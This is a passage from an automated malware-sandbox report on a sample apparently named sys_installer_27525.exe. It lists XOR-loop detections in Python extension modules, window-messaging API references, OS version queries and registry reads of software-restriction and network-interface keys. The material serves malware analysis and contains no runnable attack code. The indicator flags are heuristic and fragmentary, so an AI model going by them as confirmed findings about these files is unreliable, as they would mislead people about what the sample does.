bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16206; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16582; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16702; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16763; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16794; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17106; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17260; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17297; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17556; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17611; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 17728; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 18953; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 19740; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 19878; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 19891; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 19907; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 19920; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 20209; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 20681; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 20841; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 20958; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21072; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21138; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21201; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21451; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21488; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 21552; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 22041; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 22279; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 22669; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 22726; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 22777; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 23132; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 23165; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 23532; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 24055; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 24607; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 24863; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 25666; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 25752; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 25787; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 26433; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 26475; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 26955; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 27178; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 30987; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 61115; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 102300; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 108689; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 111562; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 111809; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 87188; code bytes = 30d0 Found XOR loop in file "_ctypes.pyd" at offset 93091; code bytes = 30d0 Found XOR loop in file "_ctypes.pyd" at offset 57845; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 93185; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 94244; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 100497; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 103369; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 103616; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 78103; code bytes = 30d0 Found XOR loop in file "_sqlite3.pyd" at offset 78377; code bytes = 30d0 Found XOR loop in file "_sqlite3.pyd" at offset 39539; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 78370; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 83601; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 86474; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 86721; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 49869; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 69252; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 73873; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 76746; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 76993; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 56093; code bytes = 30d0 Found XOR loop in file "_socket.pyd" at offset 24014; code bytes = 33c1 Found XOR loop in file "_socket.pyd" at offset 53774; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 61073; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 63946; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 64193; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 19014; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 42917; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 43994; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 49297; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 52169; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 52416; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 14891; code bytes = 33c1 Found XOR loop in file "_hashlib.pyd" at offset 42129; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 45001; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 45248; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 13484; code bytes = 33c1 Found XOR loop in file "_overlapped.pyd" at offset 35473; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 38346; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 38593; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 27167; code bytes = 30d0 Found XOR loop in file "_zoneinfo.pyd" at offset 13793; code bytes = 33c1 Found XOR loop in file "_zoneinfo.pyd" at offset 31889; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 34761; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 35008; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 9007; code bytes = 33c1 Found XOR loop in file "_msi.pyd" at offset 11503; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 17847; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 29841; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 32713; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 32960; code bytes = 8030 Found XOR loop in file "_multiprocessing.pyd" at offset 17583; code bytes = 30d0 Found XOR loop in file "_multiprocessing.pyd" at offset 5308; code bytes = 33c1 Found XOR loop in file "_multiprocessing.pyd" at offset 7267; code bytes = 8030 Found XOR loop in file "_multiprocessing.pyd" at offset 22161; code bytes = 8030 Found XOR loop in file "_multiprocessing.pyd" at offset 25033; code bytes = 8030 Found XOR loop in file "_multiprocessing.pyd" at offset 25280; code bytes = 80302f:T466,Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00005396-00000C2B-1674717666") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00005396-00000C2B-1674717712") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00001352-00000C2B-1684922265") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00001352-00000C2B-1684922314") Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00001352-00000C2B-1686461863") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00001352-00000C2B-1686461887") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp")30:T2796,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006852) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006852) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac9a4afd7f0000000000000000000051ed324cfd7f000000000000e90100000000000000000000a3c5a69ab50400002a00000000000000f0a2faace90100008fec324cfd7f0000e0ac9a4afd7f0000e0ac9a4afd7f0000000000000000000000000000fd7f0000ffffff7fddb2000000000000000000000000000000000000d8ce8e4afd7f00002a0000000000000069c3474afd7f00003100000000000000e403000000000000e8030000000000001100011000000000c0d68fb6ad00000003a30c4afd7f0000c0d68fb6ad00000000000000000000002b00000000000000000000000000000020b04d4afd7f0000b43f4c4afd7f0000e0ce8e4a (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000e892e90100000b8e304cfd7f00000000e892e901000002000000e9010000380000000000000040000000000000003003e892e901000058e384b7ad00000001000000000000000300000000000000010000000000000016000000000000002010b292e901000000000000000000000000b292e90100008806feace90100000000000000000000250100000100000000000000000000008000000000000000040000000000000000000000000000001814feace901000004000000000000003800000000000000f0980b4afd7f000038000000000000003800000000000000d0e484b7ad000000c00c3716fd7f000000000000 (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b06d35fd7f0000070000000000000000000000000000000100000000000000102148ade90100000000000000000000209e4aade90100004c980b4afd7f000010c04aade9010000b3ce2d16fd7f000090a24aade9010000004f6d35fd7f0000d0b06d35fd7f00000000000000000000000000000000000090a24aade9010000102148ade9010000b0d94aade901000028e584b7ad0000004c980b4afd7f0000010000000000000028e584b7ad000000b0d94aade901000090a24aade9010000010000000000000002bc2d16fd7f000020a34aade9010000d07249ade9010000feffffff040000007df06c35fd7f000010d94aad (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000102148ade90100000000000000000000209e4aade90100004c980b4afd7f000090b74aade9010000b3ce2d16fd7f0000f09f4aade9010000384f6d35fd7f0000d0b06d35fd7f000000000000000000000000000000000000f09f4aade9010000102148ade9010000b0d94aade901000020e584b7ad0000004c980b4afd7f0000010000000000000020e584b7ad000000b0d94aade9010000f09f4aade9010000010000000000000002bc2d16fd7f00000000000000000000d07249ade901000020a34aad04000000feffffffffffffff102148ade90100007df06c35fd7f000000000000 (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005396) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005396) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001284) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001284) "cmd.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001284) "sys_installer_27525.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000900000000000000180000000000000000a4ff31783f00000800000000000000ffffffffffffffff3400000000000000642f9635fd7f0000d8e7ef0000000000db04304cfd7f000000000000fd7f00002a966049fd7f0000000000000000000009000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000040e8ef0000000000080000000000000000000000000000000000000000000000d0a3ff31783f0000c3f02e4cfd7f00000000e649fd7f0000a7132f4cfd7f000098e8ef00 (UID: 00000000-00001352) "sys_installer_27525.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001352) "sys_installer_27525.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001352)31:T1e81,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000e9010000c013c692e90100000014c692e901000005000005da360000d036c392 (UID: 00000000-00005396) "sys_installer_27525.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000700075006200770073005c0061007000700064006100740061005c006c006f00630061006c005c00740065006d0070005c007300790073005f0069006e007300740061006c006c00650072005f00320037003500320035002e006500780065000000b04e0603000000000000000014000000060000066bc50000c0e70303 (UID: 00000000-00001352) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000b0000007229000000290b720500000072170000007216000000721d000000720a000000720d0000007231000000722f0000007245000000724b0000007257000000722d000000720b0000007209000000fa083c6d6f64756c653e7258000000010000007311010000f003010101f002070104f010000113d00012d00012d0 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812750600003603000400001800000000000000000000000300000002000000000036030c0000000000000000000000dcdfd605ee13507728127506ee13507700000000000000000c00000020648c0501000000f4dfd6052823447200003603000000000c000000d0dbc00600e0d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000003603b0228e051800000000000000000000000300000002000000000036030c0000000000000078a90376ece0d605ee13507728127506ee13507700000000000000000c0000006f013b682812750604e1d6052823447200003603000000000c0000000832047210e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603b0e1d6051800000000000000000000000300000002000000000036030c0000000000000054e1d60558e1d605ee13507700000000ee13507700000000000000000c000000926bf5f070e1d6052823447200003603000000000c00000030a504727ce1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812750600003603000400001800000000000000000000000300000002000000000036030c0000000000000000000000dcdfd605ee13507728127506ee13507700000000000000000c000000f86b900501000000f4dfd6052823447200003603000000000c000000a4fec00600e0d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000003603981f8e051800000000000000000000000300000002000000000036030c0000000000000078a90376ece0d605ee13507728127506ee13507700000000000000000c0000006f013b682812750604e1d6052823447200003603000000000c0000000832047210e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812750600003603000400001800000000000000000000000300000002000000000036030c0000000000000000000000dcdfd605ee13507728127506ee13507700000000000000000c000000b06d900501000000f4dfd6052823447200003603000000000c000000bc20c10600e0d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000360390218e051800000000000000000000000300000002000000000036030c0000000000000078a90376e4e0d605ee13507728127506ee13507700000000000000000c0000006f013b6828127506fce0d6052823447200003603000000000c0000000832047208e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812750600003603000400001800000000000000000000000300000002000000000036030c000000000000000000000014e1d605ee13507728127506ee13507700000000000000000c00000098ef9505010000002ce1d6052823447200003603000000000c0000005c92920638e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603200000001800000000000000000000000300000002000000000036030c00000000000000d4e1d605c0e1d605ee13507700000000ee13507700000000000000000c000000ffff3a68d8e1d6052823447200003603000000000c00000008320472e4e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603d0e2d6051800000000000000000000000300000002000000000036030c0000000000000074e2d60578e2d605ee13507700000000ee13507700000000000000000c000000926bf5f090e2d6052823447200003603000000000c00000030a504729ce2d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812750600003603000400001800000000000000000000000300000002000000000036030c000000000000000000000034e1d605ee13507728127506ee13507700000000000000000c00000050f69505010000004ce1d6052823447200003603000000000c00000064a8920658e1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603200000001800000000000000000000000300000002000000000036030c000000000000007ce1d60568e1d605ee13507700000000ee13507700000000000000000c000000ffff3a6880e1d6052823447200003603000000000c000000083204728ce1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000003603010000001800000000000000000000000300000002000000000036030c00000000000000feffffff84e2d605ee13507700000000ee13507700000000000000000c000000926bf5f090e2d6059ce2d6052823447200003603000000000c00000030a50472a8e2d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000002812750600003603000000001800000000000000000000000300000002000000000036030c000000000000000000000038e1d605ee13507728127506ee13507700000000000000000c000000a0f6950550e1d6052823447200003603000000000c00000050b992065ce1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603200000001800000000000000000000000300000002000000000036030c00000000000000cce1d605b8e1d605ee13507700000000ee13507700000000000000000c000000ffff3a68d0e1d6052823447200003603000000000c00000008320472dce1d6052f9904720c000000 (UID: 00000000-00002592) "py.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000001650770c000000000000000000000000003603e0e2d6051800000000000000000000000300000002000000000036030c0000000000000084e2d60588e2d605ee13507700000000ee13507700000000000000000c000000926bf5f0a0e2d6052823447200003603000000000c00000030a50472ace2d6052f9904720c000000 (UID: 00000000-00002592) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000601f1503000000000100000001000000000000002c000000c864150300000000140000000a000000000000000000000000006f00e8c1130314000000000000000000000000000000000000000000000000006e00000000006700000003000003 (UID: 00000000-00005792) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000004038000000000000000a1140000d4cfd509ee13507780000000ee135077000000000000000080000000f062e36600000000f4cfd5095072d476000004030000000080000000f062e36602000000002fe36610d0d509fb62e366010000008004e466885fd67600000000814e113040d0d509b864e366f42ee366 (UID: 00000000-00005792)32:T760,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "sys_installer_27525.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "sys_installer_27525.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "python.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "python.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")33:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: 